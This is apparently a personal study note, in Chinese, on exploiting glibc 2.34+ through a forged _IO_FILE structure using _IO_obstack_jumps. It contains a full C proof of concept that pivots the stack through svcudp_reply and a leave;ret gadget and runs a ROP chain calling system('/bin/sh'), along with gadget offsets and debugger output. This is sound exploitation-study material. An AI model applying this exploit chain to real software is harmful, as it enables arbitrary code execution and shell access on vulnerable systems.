https://tokameine.top/2023/02/20/glibc2-34-iofile-exploit/

书接上回,如果进行了seccomp等限制了getshell,那么就需要进行orw了

rop

博客中

1
2
3
gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()

另外一种gadget

​ rop的话其实就是把 system函数地址 换成了一个特殊的gadget

​ rdi其实是自己传入的chunk地址? rdi是进入CALL_CHUNKFUN前,也就是_obstack_newchunk函数时

​ rdi此时是自己伪造的第一个chunk,链入chain中的, 在进入CALL_CHUNKFUN前,要执行这两条指令,所以此时可以借此修改rdi, 把rdi+0x48的位置写入自己伪造的第二个chunk的地址 ( 好奇如果不是自己伪造的话,这里本来应该是什么值的? 是 _IO_save_base

1
2
3
  0x7ffff7e3ed8c <_obstack_newchunk+76>    mov    rdi, qword ptr [rdi + 0x48]
0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp
0x7ffff7e3ed93 <_obstack_newchunk+83> call rax

​ 然后就执行这一段gadget了, 这一段可以把rdi+0x48还是布置成此chunk地址,然后rbp+0x18就是rdi+0x18了,rax就是rdi了,然后最后call rax+0x28 就是 call rdi+0x28,这是第一条指令,然后如果想rop的话,这里写入leave;ret;

1
2
3
4
5
6
7
8
9
10
11
 b *svcudp_reply +26

pwndbg> disass svcudp_reply
Dump of assembler code for function svcudp_reply:
...........
0x00007ffff7f00bca <+26>: mov rbp,QWORD PTR [rdi+0x48]
0x00007ffff7f00bce <+30>: mov rax,QWORD PTR [rbp+0x18]
0x00007ffff7f00bd2 <+34>: lea r13,[rbp+0x10]
0x00007ffff7f00bd6 <+38>: mov DWORD PTR [rbp+0x10],0x0
0x00007ffff7f00bdd <+45>: mov rdi,r13
0x00007ffff7f00be0 <+48>: call QWORD PTR [rax+0x28]

​ 然后此时rbp派上用上了,把它传给rsp,然后从rsp+8位置开始继续执行指令,

​ leave;ret = mov rsp,rbp;pop rbp; pop rip;

栈迁移目标chunk的选择

​ 此时有两种选择, 要么还是同一个chunk,但是要把一些无用的数据pop掉,然后继续用,还是一种是,直接迁移到一个干净的chunk中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include<stdio.h>
#include <stdlib.h>
#include <string.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

void backdoor(char *cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}

char *fake_arg = "/bin/sh\x00";

int main(void)
{
puts("this is a poc");
size_t libc_base = &puts - 0x80ef0;
size_t _IO_list_all_prt = libc_base + 0x21a660;
size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0;
void *ptr,*ropptr;
long long *list_all_ptr;
ropptr = malloc(0x300);
ptr=malloc(0x200); // 注意这俩顺序
//bypass
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writeend_offset)=0x0;
*(long long*)((long long)ptr+next_free_offset)=0x1;
*(long long*)((long long)ptr+chunk_limit_offset)=0x0;
*(long long*)((long long)ptr+use_arg_offset)=0x1;
*(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr;
//vtable _IO_obstack_jumps_prt
*(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20);
//set the function to call and its parameters
*(long long*)((long long)ptr+caller_offset)=(long long*)(libc_base+0x168bca);
*(long long*)((long long)ptr+caller_arg_offset)=(long long*)(libc_base+0x168bca);

*(long long*)((long long)ptr+0x48)=(long long*)(ropptr); //mov rbp,QWORD PTR [rdi+0x48]
*(long long*)((long long)ropptr+0x48)=(long long*)ropptr;
*(long long*)((long long)ropptr+0x18)=(long long*)ropptr;//mov rax,QWORD PTR [rbp+0x18]
*(long long*)((long long)ropptr+0x28)=(long long*)(libc_base+0x561cc); //call QWORD PTR [rax+0x28] leave;ret
*(long long*)((long long)ptr+writeptr_offset)=0x1;


const char binsh[] = "/bin/sh";
memcpy((char *)ropptr + 0x80, binsh, sizeof(binsh));
*(long long*)((long long)ropptr+0x8)=(long long*)(libc_base+0x11e491);

*(long long*)((long long)ropptr+0x20)=(long long*)(libc_base+0x2a6c5);
*(long long*)((long long)ropptr+0x30)=(long long*)(libc_base+0x2a6c5);
*(long long*)((long long)ropptr+0x38)=(long long*)(ropptr+0x80);
*(long long*)((long long)ropptr+0x40)=(long long*)(&system);


//_IO_list_all _chain 2 fake _IO_FILE_plus
list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20);
list_all_ptr[0]=ptr;
exit(0);
}

ropptr 那里可以布置rop了,

rdi是怎么来的???什么时候控制的??

1
2
3
  0x7ffff7e3ed8c <_obstack_newchunk+76>    mov    rdi, qword ptr [rdi + 0x48]
0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp
0x7ffff7e3ed93 <_obstack_newchunk+83> call rax

0x000000000005f65a : pop rdx ; ret

0x000000000011e491 : pop rdx ; pop r12 ; ret

libc_base+0x2a6c5);//pop rdi;ret

image-20240210202308056